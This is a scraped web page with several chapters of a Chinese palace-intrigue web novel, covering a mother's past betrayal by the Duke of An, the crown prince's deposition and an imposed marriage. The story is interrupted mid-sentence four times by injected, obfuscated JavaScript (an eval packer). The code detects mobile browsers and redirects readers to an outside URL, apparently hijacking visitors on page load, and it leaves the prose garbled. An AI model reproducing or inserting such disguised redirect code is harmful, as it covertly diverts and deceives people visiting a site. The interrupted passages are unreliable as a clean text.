秦轻水听了不免觉得有些好笑,她掰正江知雪身子,又揉了揉她的头,眸中带笑:“就算我没察觉到,难道云双不会告诉我或者李婶吗?更何况你是我女儿,我一眼就能知道你在想什么?” “那阿娘为何刚开始不问问我?” “总要靠你自己想一想不是吗?”秦轻水看着江知雪的情绪有稳定下来的迹象,连忙趁热打铁,“不过阿娘目前只知道结果,你愿意和阿娘说说具体发生了什么吗?” 江知雪低着头犹豫着,然后深呼吸,缓了好久,才将白日里赏花宴上发生的事说与秦轻水听,期间情绪几度起伏。 秦轻水继续抱着她,耐心安抚着,听完之后轻轻擦去江知雪眼角的泪,柔声道:“你能勇于面对它,已经做得很好了。作为交换,阿娘也有件过去的事想说与你听,你愿意听吗?” 江知雪下意识点头。 在她的记忆中,阿娘似乎很少说起自己的事,总是一副温柔模样,就像李婶口中云州的水那样柔和而美好。 “阿娘特意为你做了你爱吃的菜,我们边吃点东西边说好吗?”不等江知雪反应,秦轻水便拉着她坐到桌边,往她碗中夹菜。同时,秦轻水的过往也被娓娓道来。 “李婶应该和你提到过,你的祖父是云州富首,与常说的富首大多恶贯满盈之辈不同,相反,他乐善好施,有如此财富全凭他自身才能和勤奋。比起钱财,他更崇文人风骨。我自幼便是在诗书中长大,父亲从不让我碰算盘,他说他一辈子经营足够我安度一生。 我的生活本该是安乐幸福,直到我十四岁那年,父亲经商归来,带回一个受伤男子。” “是安国公?”江知雪忍不住问道,她从不在私下称安国公为父亲。 秦轻水的眼神似穿过时间,回到过往,“嗯,他年轻俊朗,温和谦逊,说是家中灾荒,只自己活了下来,来云州路上因为体力不支不慎从山上摔下。父亲感叹其遭遇,又见他是读书人,欢喜得很,直言可留他久住。 他常常对我献殷勤,父亲也被他三言两语迷惑,欲将我许配给他。我那时不懂,觉得谁都无所谓,也就同意了。 可等到我同意时,他却犹豫了,他说没有功名傍身,怕别人说我闲话,觉得配不上我,想赴京挣功名……明明一眼就能看出是唬人的话,怎么当时全都信了呢?”秦轻水眼里闪过哀伤,但只一瞬间,又恢复如常。 “父亲傻乎乎地给了他一大笔银钱傍身,然后我们就在云州等啊等,没等来他,先等来了一场大火。那天父亲让我和李婶去寺庙祈福,天色渐晚,我们本欲下山回家,住持一再挽留,我们不好推脱…… 当天夜里,家中便起了大火。父亲常年跟随商队出行,不是嗜睡的人,那么大的火怎么会一点都不知道呢?第二天我们过去时,只找到他留下的信,让我去京城找江奉山。” 明明那么悲痛的事,秦轻水的语气却听起来淡淡的,就像是在讲述别人的故事,“各大钱庄里存的银钱也全都消失不见,我们报官没有结果,无奈之下才来了京城。你猜我在京城见着了什么?” “什么?”江知雪顺着秦轻水的话问。 “在我和父亲担忧他江奉山是否遭遇不测时,他摇身一变成了安国公,并且准备迎娶临阳陆家之女为妻,而我身无分文,沦落至此。”说到这里,秦轻水停顿了一下,脸上现出笑意。 “我当时只觉荒唐,悲痛万分,我想让他记起他的承诺,所以我大庭广众下拿出有他印信的婚约书,向他哭诉。” 江知雪她难以想象,平日里总是温柔待人的阿娘,有着这样一段过往,若非她亲口说出来,自己会有知道的那天吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178463|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可我到底忘了他们皆是世家权贵,表面功夫做得极好,风风光光将我迎进门,而后背地里磋磨。三言两语就堵住了悠悠众口,还落得个重情重义的好名声……只是苦了你。”秦轻水轻叹一口气,目光怜爱地看着江知雪。 “阿娘,我从不觉得我过得苦,”江知雪皱着眉头,摇头否定,“倒是您,为何从不说出来让我们分担一些呢?” 秦轻水亦摇头,“痛苦是不能分担的,那是我的过去,又何必说出来让你承担痛苦呢?” “可我把我的痛苦说出来让你承担……” “因为你是我女儿啊。”不待江知雪说完,秦轻水就笑着回答,随后话锋一转:“我想说的是,你还小,没有经历过很多事,不知道人心难测。你可有想过广平侯府或许与安国公府没什么两样?” 江知雪不是没有听过阿娘她们说过类似的话,就连云双都隐晦地发出过疑问。 但她从来只是当耳边风,内心小声反驳着:“也有很多世家权贵如朗朗清风。”因为谢怀清如朗朗清风,所以她不信。 就如同现在,即使已经亲眼见到,亲耳听到,江知雪听到阿娘的话,下意识地不愿意相信:“可是谢怀清不是这样的,他从来都不屑于旁门左道。” “可他代表不了广平侯府。”秦轻水指正。 江知雪的声音弱了下去:“可我只在乎他如何。” “在你心里他是怎样的?”秦轻水并不急着辩驳。 “清风朗月,不畏权势。” “今日的他又是如何?你只在乎他,他可愿只在乎你?” 江知雪沉默了,今日的他低眉顺眼,谎话连篇,恨不得与她尽早撇清关系。 “他变了。”秦轻水直击要害,“其实你心里清楚,只是害怕接受,所以为他争辩。我当年也如你一般,不愿意相信,希望他能救救我,可结果你也知晓。” 是的,从见到谢怀清以何种姿态与柳微竹交谈的时候,江知雪就已经看清了。比起看见他们俩在一起,从始至终,她更接受不了的是他的态度。 蜡烛已燃烧至底端,烛泪滴落在烛台上,星星点点。 “小雪儿,阿娘只希望你过得开心,但绝不愿你步我的后尘。日子还很长,我们不着急,慢慢想。”秦轻水看着又陷入思考的江知雪,不由得又叹了口气,但好在至少稳定了情绪。 一整晚,江知雪脑子里都是与谢怀清在一起的时间,一会儿是一起赴宴,一会儿是研读诗书,最终都停在了赏花宴上。 无所事事的日子总是飞快过去。自从那夜谈话后,江知雪再也没有因此事情绪崩溃过,引梅园里似乎又恢复如常,只是少了点欢快气息。 她常常坐在树下的石桌旁看书,但总是看着看着就忘了翻页。云双依旧在她身边叽叽喳喳唠叨个不停,致力于让她开心。 墙外每天都有树叶掉落飘进园里,江知雪在这期间也收到了谢怀清的几封书信,从一开始的问好讨论书的内容,到后面询问她发生了什么事,再到最新一封质问她为何不给他回信。 江知雪拆开看后,又放回信封,依旧不打算回信。 但平淡的日子总有结束的一天。远处的皇宫似乎正刮起一阵狂风。 5. 废太子 永宁二十三年中秋七日后,太子连夜被召入殿,彻夜未出。 次日朝会,皇帝下旨,太子被废,已押入天牢,判年后流放北陵。 没有理由,不知原因,无人知晓皇帝与太子谈了什么,金銮大殿上,众朝臣高呼万岁万岁万万岁,转头脸上精彩纷呈。 如柳丞相、广平侯这类保持中立态度的官员无悲无喜;以其他皇子为首的官员则走路带风,恨不得飞奔回家宣布这个天大的好消息;而站队太子的诸如安国公之流,脸色苍白,神情严肃,更有胆小的官员被人搀扶着抖如糠筛,只觉大难临头。 安国公府,陆平瑶正命人布置早膳,就瞧见了安国公江奉山下朝归来。 “今日怎么回来得这么早?”陆平瑶脸带笑意迎上去,待走近,才发现他脸色黑得简直能滴墨。忙收敛笑容,小声问道:“可是发生了什么事?” 江奉山声音阴沉得可怕:“太子被废了。” “是什么原因?”陆平瑶脸色惨白,想到近日女儿才以太子妃身份和一众贵女小聚,怎么偏偏这个节骨眼上。 “圣上没说。”江奉山重重一声叹息。 正在此时,江望月打着哈欠迈进了饭厅,下巴上扬,步态散漫,一副娇蛮任性的样子。 “父亲母亲在说什么?” 陆平瑶声音轻颤着说:“望月,我说了你可不要难过,是太子,他……” 只听见“太子”两个字,也不听母亲说了什么,更不看他们脸色,像往常一样高兴地凑过去拉着江奉山的手问:“太子哥哥怎么了?是不是又得到皇上的夸赞了?” 江奉山正愁着情绪没处发泄,又看见自己女儿如此蠢样,大力甩开江望月的手,指着她就是劈头盖脸的一顿骂:“你看看你干的好事!安国公府真是要毁在你手上!” 陆平瑶赶紧对下人挥手使眼色,下人们立刻放下手中的活计,眼观鼻鼻观心迅速退出了饭厅。然后她又护到江望月身前,按下江奉山的手,满眼不赞同:“老爷这是干什么?” 江望月微张着嘴,被父亲突然的呵斥吓懵了,直到母亲出声才反应过来。 委屈瞬间涌上心头,江望月带着哭腔对吼:“爹爹你凭什么吼我,我做什么了我?” “你还好意思问你做什么了?哼!”江奉山看着她还理直气壮的样子,顿时气不打一处来,在厅中来回踱步,随后低声咬牙切齿道:“太子太子,你知不知道就在今天,太子已经被废了,现在正被关在天牢呢!” 江望月脸上顿失血色,不可置信地看着父亲,口中也喃喃自语:“太子被废了,这怎么可能?他不是一向最得皇上器重吗?” 似乎是不愿相信,江望月又扑向母亲,“母亲你告诉我这不是真的,他怎么会被废呢?他要是被废了我的太子妃位置可怎么办?” 陆平瑶看着自小放在心尖儿上的女儿哭成个泪人,心疼得揪起,但还是在她期盼的目光下点了点头。 江望月双手从母亲身上滑落,一向高傲的她此刻不顾形象地颓然坐在地上,脑海中是太子妃之梦破碎的声音。 “到现在还想着你的太子妃之位呢,你什么时候能替这个家想想?若不是你成天顶着这个身份在外面显摆,我们如今也不至于大难临头!”江奉山恨铁不成钢道。 江望月哭哭啼啼着还不忘回嘴:“当初我顶着太子妃的名号时你不也没阻止我吗?甚至在皇上夸太子时你还高高兴兴特地告诉我呢,现下……” “哎呀,你就少说两句吧。”眼看着江奉山脸色越发黑沉,陆平瑶赶紧止住女儿的话头。 江奉山气得发抖,又伸出手指着江望月,却是对陆平瑶说:“好,很好,你看看她对我说话的态度,这就是你养出来的好女儿!”而后似乎不愿再多说,一拂袖子便离开了饭厅。 废黜的消息无风自走,宛如一石激起千层浪,在京城瞬间炸开了锅。 几乎所有人都不敢相信自己的耳朵,前几日圣上才因为器重他让他前去泰安寺还愿祈福,阵仗威严,大半个京城的人可都看见了,怎么说废黜就废黜了? 他大胆革新,善献良策,清扫弊病,百姓因他获益良多。虽其中不乏幸灾乐祸之人,但大多数人都为太子鸣冤抱不平,“没有理由,太子定是被冤枉的”这种言论一时甚嚣尘上。 不出一日,皇宫派出缉拿司全城巡查,凡是敢妄议朝政的、替废太子抱不平的,一律带走,先挨个十板子再说。 世家权贵,朝中官员更是各个紧闭门户,噤若寒蝉。京城一时人心惶惶。 最先一批被缉拿司带走的人挨过十大板后,被绑在菜市门口供人参观,以作警示。先不论被打得多惨,单就丢脸就让人受不了,那损得可是家族颜面。 维护太子的声音开始变小,经过缉拿司日夜不懈地巡查,整个京城已无人敢当面为废太子说一句好话。 又过几日,皇城司出动,开始捉拿与废太子相关官员。 看着每天都有一批又一批的官员被押走,安国公在府中提心吊胆,脾气也日渐暴躁,稍有不顺心便胡乱呵斥人。 江望月眼前到手的太子妃之位没了,父亲还一味认为是她的错,也开始动不动就发脾气。父女二人相见更是恨不得打上一架。陆平瑶两头安抚,只觉身心疲惫,连杨氏在府中作妖都无力去管。 与主屋的鸡飞狗跳相比,引梅园显得尤为岁月静好。 外界的消息还没有传过来。江知雪的情绪似乎又恢复了一些,她正和云双站在前院的桂树下采摘最后一批晚桂。 直到李婶从外面采买回来。 还没进门,李婶就大喊“不好了,不好了”,引得园里其他三个人全都聚到门口,担忧地看着她小跑过来。 “发生什么事了?”秦轻水率先出口询问。 李婶回过头颇为神秘地左右看看,然后摆摆手:“快快,进去说进去说。” 瞧见李婶人没什么事,三人皆是松了一口气。 江知雪和云双率先奔向树下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178464|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石凳上,然后招呼秦轻水和李婶过来。 秦轻水后一步跟上,先给每人倒了一盏茶才坐下来。 最后面的李婶先把门关严实了,才快步走过来,把手里的篮子往地上一放。秦轻水适时将茶水递给她,李婶拿起茶一饮而尽,等气喘匀了,终于落座。 “外面真是发生了天大的事!”李婶先强调了一遍重点,“我跟你们说,我出去采买,往常人来人往的街道几乎一个人都没有,那些摊贩啊什么的竟连摊子都收走了。走着走着,就看到了一队官兵在街上巡逻,带头的还跟我对视了一眼,差点把我吓死。” 似乎是仍惊魂未定,李婶又自己斟了一杯茶喝下,“好不容易找到一个卖菜翁,我就好奇想问问发生什么事了。那个老人原本还一副优哉游哉的样子,一听顿时从凳子上站起来,惊慌地左看右看,见四下没人,让我凑过去,悄悄告诉我说:太子被废了。我回来的时候……” “什么!被废了?什么时候的事?”云双第一个惊呼。 吓得李婶如卖菜翁似的腾地从石凳上站起来捂住她的嘴:“哎呦我的好姑奶奶,你可别一惊一乍的了吧,小心被外面的官兵听见。” 就连秦轻水都感到十分惊讶:“听说他在民间声望很好,圣上对他也很是器重……可有打听到是什么原因?” “没几天前,”李婶先回答云双的问题,而后小声说,“就是没有原因,所以百姓替他喊冤,闹得官兵天天在城里巡查着呢,提到太子的都得挨板子。”又想起刚才被云双打断的话,“我回来的时候还见着有别的官兵在抓官爷呢,好像是街尾的陈侍郎。” 听到陈侍郎,秦轻水突然笑了一下:“陈侍郎是太子麾下的,如今太子倒台了,估计你后面看到的官兵是在抓站队太子的人吧。” “那安国公岂不是……?江望月可是天天顶着太子妃的身份出去呢。”李婶反应过来。 “他要是也被抓了我们会不会也被殃及?”云双接上李婶的担忧。 秦轻水只是笑:“全看圣上的意思,我们在这瞎担心也没有用处,不抓或许挺不错,抓了也逃不掉,倒不如过好现在的日子。” …… 后面的谈话江知雪没有再听。这期间她未发一言,因着前段时间谢怀清的事情,她的情绪仍旧低落,所以没人看出她的不对劲。 她觉得有些可笑,方才听到阿娘说官兵正在抓太子麾下的人,她差点脱口而出询问谢怀清的状况,可是她连他站队哪个阵营都不知道。 又觉得十分恍惚。 那日望雀街头对视,他还是高坐金玉轿撵的太子,身后跟着百余金吾卫,街道两侧站满人群,风光游街去祈福。 如今才过几天,就因皇帝的一道没有原因的圣旨,转眼成了阶下囚,连百姓喊冤讨论都不得。 江知雪忽然就想到了刚刚和云双在前院摘的晚桂花,分明前几日还是盛放,芳香扑鼻,短短几天就开始一朵朵凋零,等到全部凋谢,便很少有人问津。 6. “真面目” 夏日的余热渐渐退去,天气一天冷过一天。 在京城再无人敢光明正大讨论废太子的时候,缉拿司终于被调回,街道又慢慢恢复了往日的热闹。 九月初三,京城最大的茶楼里,时人称情报最真、最会说故事的说书人黄金贵声称欲将废太子的秘密公之于众。 早在三天前,茶楼便有意放出消息,引得民众哗然。 试问还有什么比皇家秘辛更令人好奇的了?何况还是本来就神秘、连废黜理由都没有的太子。 当天,茶楼被堵得水泄不通,黄金贵坐高台之上,醒木一拍,折扇一开,就开始编排起了废太子沈思安。 他扬言那废太子不过表面装得光风霁月,实则背地里残暴嗜杀,荒淫无道,动辄打骂宫女太监,最爱看人被慢慢折磨至死的样子,直到这次被皇帝发现。他所行恶行罄竹难书,因此被废,不说明缘由不过是给废太子最后的体面。 百姓也不是傻子,单凭黄金贵的一张嘴可不会轻易相信,即便他的情报最真。 人群中突然出现几声哭喊,人们面露疑惑纷纷避让,形成一个圈将那哭喊几人围在里面。 黄金贵合扇指着那几人大声斥责:“你们几个是什么人,可知这是什么地方,在这里瞎哭喊什么?莫不是要砸我的场子?” 其中一老妇人佝偻着背,正掩面哭泣:“我们并无此意啊黄老板,只是您说的这些让我想到了我那命苦的女儿……呜呜呜呜!” “哦?你的女儿难道和废太子有关?”黄金贵脸上表现出适当的好奇。 老妇人拿衣袖擦着泪,呜呜咽咽道:“是我对不起她呀!当初家里穷,迫不得已送她入了宫。在宫中当洒扫宫女没多久,因容貌被废太子选进了东宫。大家都说废太子和善亲仁,我女儿在去之前也和我这么说过。我们都以为能过上好日子了,就等她年岁到了放出宫一家人团聚……” 似乎是又想到什么,老妇人面露恨意,转头对着围观的人群:“可谁能想到,那竟是我见她最后一面啊!可怜我那女儿,才二八岁数就丧了命,连尸骨都不知道在哪里,若非与她交好的宫女告诉我,我又怎知她竟是被那可恨的废太子活活打死!” 说完又痛哭起来,旁边的几人也纷纷附和。 “我儿子也是如此,我见到他的时候他全身就没一块好肉啊,他明明只是斟茶时不小心溅了一滴水在桌子上,何至于赐死……” “你看我的脸,就是拜废太子所赐,只因我布菜时将菜弄错了顺序。当初夸我颜色好将我收入东宫的是他,毁了我容貌的也是他,我真是巴不得他死在天牢。” 众人见此次说话的是一位年轻女子,听她那么说都不自觉朝她脸上看去,只见脸上是纵横交错的疤痕,一时议论声四起。 “安静,安静!”黄金贵在台上喊着,“我有问题想问几位。” 待人群渐渐又安静下来,黄金贵目光犀利地问道:“你们都说这些是废太子所为,有何凭据吗?” “凭据?若有凭据我们早递呈官衙,又怎会等到如今他倒台了才敢说出来?但我敢对天发誓,若我所言有半分虚假,愿天打雷劈不得好死!”那女子指天发誓,字字铿锵。 余下二人也如此应答。 人群中不同位置又出现一些声音,他们表示曾看见太子手下的人当街欺负百姓,抢夺钱货,并自称是太子的人。 百姓们当然不信,太子的美德天下皆知,遂将其扭送官府。谁知官爷见到那人直说这事儿他管不了。若非太子,谁还能有这么大本事让官爷都不敢办案。 场面开始骚动,已经有人同情起那三人,并痛骂废太子是伪君子。而在之前持怀疑态度的人,在听了人群中亦发生过类似事件,也开始相信黄金贵的说法。 废太子暴戾残忍的言论就像被火点燃的干草,迅速烧遍京城。这一次,皇城没有再派缉拿司全城巡查抓捕,在人们心中,黄金贵的言论更加可信。 不同于上次过了几天引梅园才得到消息,此次几乎是第一时间,李婶就告诉了秦轻水她们。 江知雪背靠着竹椅,小心翻开手中书的下一页,漫不经心问身旁的云双:“云双,你觉得外面疯传的言论可信吗?” 云双没料到小姐会突然发问,挠了挠头,想了半天才说:“我不知道,不过有个词叫“三人成虎”,我不太相信一直被人称赞的人背地里是那个样子。” “你说的没错,不应盲目偏信一种声音。但是那日望雀街头,我与他对视过一眼,那双眼太过冰冷,就算不是暴戾之辈也绝非善茬。”江知雪合上书页,细细想来。随后又不禁反问,“你倒是学聪明,也会就事论事了?” “多亏小姐您还有咱们娘子和李婶教得好,若是没有你们,我何德何能能够识字辨言。”云双顺藤摸瓜将引梅园一顿夸。倒是逗着江知雪掩唇轻笑。 眼看着小姐笑了,云双别提多高兴了,自从赏花宴后,小姐一直兴致不高,虽然现在笑得少了活泼劲儿,但总归是好的转变。 门外响起轻轻的敲门声,江知雪和云双面面相觑。又非逢年过节,怎么会有人来敲门了。 云双去开门的路上,又响起了几声。 “来了来了。”急得云双赶紧小跑过去开门。 甫一开门,就见一丫鬟打扮的姑娘温柔笑着对她说:“云双姑娘好,我家小姐想和三小姐见一面。” 是江眠星的丫鬟汀溪。 云双一见着她,就想起了之前的年节里,江眠星明里暗里的嘲讽小姐,每次小姐回来都闷闷不乐的,还有上次江眠星冒充谢怀清送的请帖,害小姐伤心成那样。 于是颇为不满地回道:“等着!”然后大力关上了门。 江知雪见云双气哄哄地回来,忙问道:“这是怎么了,外面是谁在敲门?” “是汀溪,她家小姐想见你一面呢。”云双闷闷不乐。 一想到江眠星之前的所作所为,江知雪并不想见到她。但直觉告诉她,江眠星有重要的事与她说,否则断不会主动找她。 “别不开心啦,她应该有事情要同我说。去告诉汀溪吧,我换件衣服就来。”江知雪一面安慰着云双一面起身。 “小姐……”见小姐匆忙回屋,云双不情不愿地返回了。 一开门,汀溪还像刚才那样站在门口,云双没好气道:“等着吧,我家小姐换件衣服就来。” 汀溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178465|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着回应:“多谢云双姑娘了。” 没等多久,江知雪便过来了。 她穿一身天蓝色罗裙,外套一件同色系短衫,微笑着走来,朝汀溪客套:“实在不好意思,让你久等。” “三小姐真是折煞我了,请跟我走吧。”汀溪福礼回道。 云双依旧被留在了家中,理由是人多眼杂。 这次与那夜一样,汀溪带着江知雪左绕右绕,才终于到了地方,竟是江眠星的屋子。 江知雪颇为惊讶,心想这江眠星也太大胆了,那之前和汀溪各种绕路是为了什么。 江眠星顶着江知雪的讶异眼神站在门口,笑盈盈开口:“你终于来了,我可是等了好久。”然后连忙将她请了进去。 屋内点着熏香,小茶桌上摆放着点心茶水,看来果真是早就等着了。 二人落座,汀溪为两人各沏了一杯茶,便退下并关上了门。 江眠星右手做出个“请”的手势,笑着对江知雪说:“尝尝,这些都是汀溪的拿手点心。” “你将我唤来,可有什么事?”江知雪有点受不了对方这种遮遮掩掩的架势,直接单刀直入。 江眠星一听,连连摆手:“首先我要纠正你啊,是“请”不是“唤”。我请你过来不过是想见你一面,我想汀溪应该也是如此转达的。最后呢,我瞧你刚过来时惊讶的样子,是不是觉得我太过大胆?” 江知雪听得一头黑线,只想拔腿就走:“二小姐如果没什么事的话,我就先回去了。” “欸别呀,行了行了不逗你了。”江眠星端着的架势瞬间卸了气,正色道:“你放宽心,这里是我自己的居所,除了汀溪,不会有人踏入的。” 江知雪见她终于是要说正事的样子,便耐下心来,提出自己的疑问:“那你阿娘呢,她不会过来吗?” “我姨娘吗?”江眠星嗤笑道:“她鲜少踏足这里,她的眼里从来只有父亲一个人,而我,不过是她抬位份路上的绊脚石罢了。如今她又怀了孕,就更不会过来了。” 江知雪看着她怅然的样子,不禁有些同情,正欲说话,对方倒先一步打断:“欸,别拿同情的眼神看着我啊,我倒觉得一个人挺自在的。” 江知雪生生打住安慰她的话,换了个话题:“那你为何之前刁难于我,现下又像变了个人似的?” “因为我羡慕你呀。”江眠星非常认真地看着她,“你有爱你的娘亲,与你兴趣相投的竹马,而我什么都没有,也斗不过江望月,只好找你的麻烦……这件事是我不对,我先向你道歉。 至于为何现在又想同你交好,因为我发现了谢怀清的真面目,那时候我觉得你也挺可怜的,不知出于什么心理想让你亲自去发现。又怕你还是放不下他,所以那晚又刺激了一下你。” 一口气说完这么多,江眠星重重呼出一口气。 “所以你是什么时候发现我和谢怀清的关系的?”江知雪抓住了重点。 江眠星知道她在担心什么:“我消息可灵通着呢。放心吧,这事除了我其他人都不知道。”随后思虑良久,似乎终于下定决心: “我此次请你过来确有一事想告诉你,关于你阿娘当年的事。” 7. 揣度 “关于你阿娘当年的事。” 这句话就这样炸在江知雪耳边,使她久久不能回神。她眨巴几下眼睛,脑海中想过无数可能,最终问的却是:“当年……阿娘她并非自愿?”这是她能想到的最糟糕的结果。 江眠星摇了摇头,拿起茶盏,看着江知雪的眼睛:“当年你阿娘是自愿的,不过恐怕并不单单只是为了嫁给父亲。” “什么意思?”虽面上看不出情绪,江知雪放在桌下的手却不自觉抖了抖。 “我也是无意间听到。”对方轻吹开杯中浮沫,浅饮一口新茶,边回忆边说:“那是中秋后四日,姨娘又有些得意忘形,我准备去她院子提醒提醒她。 可谁知刚到门口就听到她和主母在吵架,言语间提到了当年秦娘子,我姨娘似乎意有所指以此事威胁主母。” “你是说夫人对我娘做了什么。”不是疑问句,江知雪肯定地说道。 江眠星放下茶盏,用手撑着头,“我不知道,我只是将我所知告诉于你。” 室内一时陷入沉默,唯余熏香的烟雾往上盘旋。二人心中各怀揣着心事。 “嗯……突然想起来,曾无意听姨娘提起过,秦娘子刚来的时候似乎刻意避着父亲,‘明明先前一副拼了命都要嫁进来的架势,得偿所愿后倒是会装样子''。”江眠星学着她姨娘杨氏说话的口吻。 电光火石间,有什么东西自脑海一闪而过,江知雪快它一步将其抓住。 “明明一眼看出是唬人的话,怎么当时全都信了呢”“父亲不是嗜睡的人”“我们报官无果”“当时只觉荒唐”。 阿娘那夜像是自言自语的话一句一句浮现,江知雪遍体生寒。 如果目的不是为了嫁给安国公,那么真正为了什么似乎已经显而易见。 她强迫自己冷静下来,看向江眠星,只觉得对方远不止想象中那么简单:“你同我说这些的目的是什么?” “中秋那晚你已问过我一遍。” 江知雪声音不禁提高了些许:“为了让我又欠你一个人情吗?我不觉得我有什么值得你利用的地方。” “每个人的标准不同,我说有那自然有我的道理。”江眠星站起来看着窗外,又恢复了那夜漫不经心的样子,“你别担心,这次我不让你欠着了。” 而后转头,神色认真地望着江知雪:“只求你日后能高抬贵手,放我姨娘一马。” 回到引梅园后,江知雪便有些心不在焉,秦轻水担忧问道:“二小姐同你说了什么?” 江知雪瞧着温柔的阿娘,思虑再三还是摇了摇头,没敢说出口。 “最近国公府那边不太平静,你少往那边跑了。”秦轻水告诫道。 安国公府确实不太平静。 外界的传言愈演愈烈,宛如烈火烹油,烧在他们每个人心里。江奉山和江望月父女之间亦是火药味十足,一点就炸。 皇城司的抓捕从一开始每天出动大量人马,到现在只早晚各一次巡查例行公事。眼看着就要收尾,江奉山越发寝食难安,人都跟着瘦了一圈。 他既抱着侥幸,猜想圣上欲放他一马;又担惊受怕,恐圣上在最后一刻打他个措手不及。 江望月亦是忧心忡忡,起初她只是伤心于太子妃梦破碎,后来才慢慢回过味来:万一圣上与父亲当年所说是嫁废太子这个人怎么办? 父女二人互相责怪,谁都不承认自己的问题。废太子的名号在安国公府已成为禁忌,直到皇城司亦被调回。 朝堂上,圣上宣布废太子一党已悉数落网,江奉山悬着的一颗心算是落了地。 散朝后,众朝臣行于殿前广场,所有人都远远地避着江奉山。不过他已然不在意,连日的担惊受怕早就让他身心俱疲,骤然放松,只觉眼前开阔,看什么都是好的。 “国公爷留步。” 江奉山一回头,就瞧见御前太监刘达手拿拂尘快步走来,连忙鞠躬行礼:“刘公公。” 刘达白净的面皮笑出褶皱,回礼说道:“圣上在英华殿等着您呢,国公爷随我走一趟吧。” 江奉山心里一抖,顿觉不妙。 英华殿中,皇帝正高坐金龙台批阅奏折。刘达将人带到,恭敬回话:“陛下,安国公到了。”随后不待圣上出声便识趣退出,并轻轻关上了门。 “微臣参见皇上。”江奉山跪拜在地,动作中不敢出丝毫差错。 圣上并未看他,依旧批阅着奏折,声音也听不出情绪:“安国公,可知朕召你前来所为何事啊?” 一声“安国公”,江奉山的后背沁出冷汗,在此之前,圣上从来都是以“爱卿”称呼他。 “臣……不知。”江奉山的头低得不能再低,整个身子都伏在地面。 “哼!好一个不知!”朱笔被重重放在桌面,发出清脆声响。圣上冷眼看向江奉山:“你暗中站队太子,结党营私,证据都白纸黑字呈上来了,你还敢说你不知?你知道你应该效忠谁吗?莫不是盼着朕死,好让废太子坐在这里,然后厚待于你?” “陛下九五之尊,定是福寿延年万岁万岁万万岁。微臣不敢有二心,只愿誓死效忠陛下!”江奉山吓得要死,立刻表起忠心,汗珠顺着鬓角滴落,却是一动也不敢动。 看着地上状似鹌鹑的人,圣上语气缓和了下来:“爱卿请起吧。” 待对方抖着双手起身,又说道:“废太子一事,你可知朕抓了多少人?念在你曾舍命护驾,朕才放你一马,让你安稳度日至今。眼下将近年关,思安明年便要孤身前往北陵,好歹父子一场,朕于心不忍。” 江奉山内心“咯噔”一声,已经预感到了圣上接下来的话。 “听闻令爱很是喜欢思安,加之早年间朕与卿所谈之事,不若顺了她的意?” 果然如此。“微臣谢陛下恩典,吾皇万岁万岁万万岁。”先以结党营私来恐吓,后以赐婚来表爱臣之心,表面是恩赐,实则是警示。 即使江奉山心里有千百个不愿意,也只得叩首谢恩,否则今日能不能出这个殿都是未知数。 国公府中,陆平瑶正焦急等待着。往常辰时就散朝回家了,现下都过了一个时辰了还没回来,可别是出了什么岔子。 正想着,就见江奉山臭着一张脸回来了。 陆平瑶虽有心理准备,可见他如此眉角还是忍不住跳了一下:“眼下处境如何?” “国公府暂时是安全了。”安国公像往常一样张开双臂,让陆平瑶伺候更衣。 陆平瑶听后暗自松了一口气,“那老爷为何还愁眉不展呢?” “去把大小姐叫过来,务必叫来。”江奉山没有回答陆平瑶的话,转头对门口杵着的丫鬟说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178466|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江望月当时正在花圃旁的池塘边喂鱼,丫鬟来秉明缘由,她直接了当拒绝:“不去!” “大小姐,老爷让您务必过去,说是有要事。” “啧,真是麻烦。”江望月也臭着一张脸跟着丫鬟去了主厅。 主厅的气氛不似寻常,丫鬟仆从已提前挥退,江奉山坐在主位一脸严肃。 江望月拜见父亲母亲后,江奉山直接了当开口:“圣上欲讲你赐婚给废太子,你得偿所愿了。” 一句话让陆平瑶瘫坐在椅中,江望月更是惊慌大喊:“我不嫁!” 